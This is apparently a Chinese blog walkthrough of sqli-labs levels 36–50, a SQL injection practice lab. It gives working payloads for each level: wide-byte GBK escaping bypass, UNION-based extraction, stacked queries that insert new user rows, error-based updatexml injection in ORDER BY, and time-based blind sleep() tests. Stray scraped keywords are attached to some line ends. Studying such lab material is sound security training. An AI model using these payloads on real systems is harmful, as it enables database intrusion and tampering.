漏洞重溫之sql注入(八)

漏洞重溫之sql注入(八)

sqli-labs通關之旅

Less-36

首先,咱們如今Url中給出id參數。咱們能夠根據這個來判斷出該位置的注入爲get型。接着咱們看網站源碼。mysql

根據源碼,咱們能夠看到,網頁首先封裝了一個函數,這個函數使用mysql_real_escape_string()來過濾咱們的輸入。sql

可是同時,根據sql語句上面的代碼塊,咱們能夠發現,網頁採用了gbk編碼,因此在這個地方,咱們能夠選擇使用寬字節注入來繞過過濾。數據庫

構造payload:less

1%df%27 and 1=2 union select 1,version(),database() --

第三十六關,通關。函數

Less-37

從網站頁面,能夠看出,該位置的注入屬於post型,查看源碼。post

從代碼上,咱們能夠看到,網站對咱們輸入的uname參數和passwd參數一樣適用了mysql_real_escape_string函數進行轉義,一樣,在sql語句上面,提示咱們這裏使用了gbk編碼。因此這一關跟36關的區別只是將get型注入轉變成了post型。網站

payload:編碼

1%df%27 and 1=2 union select version(),database() --

這裏咱們在uname位置注入和passwd位置注入效果同樣。url

第三十七關,通關。3d

Less-38

直接看源碼

首先咱們關注mysql_multi_query這個函數,該函數的功能是執行一個或多個針對數據庫的查詢,多個查詢用分毫進行分隔。也就是說,這裏可使用堆疊注入,而只有網站使用了這個函數,才能進行堆疊注入。咱們能夠在參數後面加上分號,而後在分號後面加入注入的新語句。

但這裏咱們使用常規的方法進行注入便可。由於網站對咱們的輸入沒有進行任何轉義。

payload以下:

1' and 1=2 union select 1,version(),database() --

第三十八關,通關。

Less-39

查看網站源碼。

跟上一關同樣,也是堆疊注入,這裏的參數沒有任何符號包裹,因此咱們能夠直接在url中拼接sql語句,不須要閉合。

payload以下:

1 and 1=2 union select 1,version(),database()

第三十九關,通關。

Less-40

查看網站源碼。

依然是堆疊注入,只是參數外面的包裹字符不一樣。

payload:

1') and 1=2 union select 1,version(),database() --

第四十關,通關。

Less-41

查看網站源碼。

堆疊注入,無過濾,參數無包裹。

payload:

1 and 1=2 union select 1,version(),database() --

第四十一關,通關。

Less-42

熟悉的登陸頁面,可是在嘗試過新建用戶和找回密碼所有不可用以後,明白這裏不是二階注入,查看源碼。

能夠看到,網頁在登陸的時候並無對咱們提交的參數進行過濾,同時由於在網頁上並無顯示位,因此咱們能夠利用Insert語句來在數據庫中新建一個用戶。

payload以下:

1';insert into users values(50,'xiaoming','xiaoming') --

插入完成。

第四十二關,通關。

Less-43

四十三關也是同樣的套路,只是包裹參數的符號從單引號變成了括號單引號。

payload以下:

1');insert into users values(60,'xm','xm') --

第四十三關,通關。

Less-44

四十四關,也是同樣的解法。

payload以下:

1';insert into users values(77,'xb','xb') --

第四十四關,通關。

Less-45

套路一致。

payload:

1');insert into users values(87,'xiaohong','xiaohong') --

第四十五關,通關。

Less-46

首先,咱們先在Url中添加上sort參數。

而後,查看源碼。

這裏,咱們能夠看到,這裏的sql語句變成了。

$sql = "SELECT * FROM users ORDER BY %id";

而這裏,咱們能夠利用order by 進行注入。

最多見的辦法就是使用報錯注入。

payload以下:

1 and updatexml(1,concat(0x7e,(database()),0x7e),1)

第四十六關,通關。

Less-47

查看源碼。

套路同樣,就是參數外面多了一個單引號包裹。

payload以下:

1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --

第四十七關,通關。

Less-48

這一關的基本套路仍是一致的,都是order by注入,可是由於這一關沒有打印錯誤信息的代碼,因此咱們沒辦法經過報錯注入來獲取信息。

可是order by注入,也是可使用時間盲注。

payload以下:

1 and if(length((database()))<1,1,sleep(0.3))
1 and if(length((database()))<10,1,sleep(0.3))
1 and if(substr((database()),1,1)='s',1,sleep(0.3))
1 and if(substr((database()),1,1)='a',1,sleep(0.3))

由於沒法經過截圖給大家展現效果,因此payload留下,能夠本身嘗試,我已經試過了。

第四十八關,通關。

Less-49

四十九關一樣也是盲注,可是注意參數外面使用了單引號進行包裹,因此咱們的payload裏也須要使用單引號進行隔斷。

payload以下:

1' and if(length((database()))<1,sleep(0.1),1) -- 
1' and if(length((database()))<10,sleep(0.1),1) --

第四十九關,通關。

Less-50

能夠看到,第五十關是存在報錯函數的,也就是說,在這裏咱們就可使用報錯注入來進行繞過了。

payload以下:

1 and updatexml(1,concat(0x7e,(database()),0x7e),1)

第五十關,通關。

相關文章
相關標籤/搜索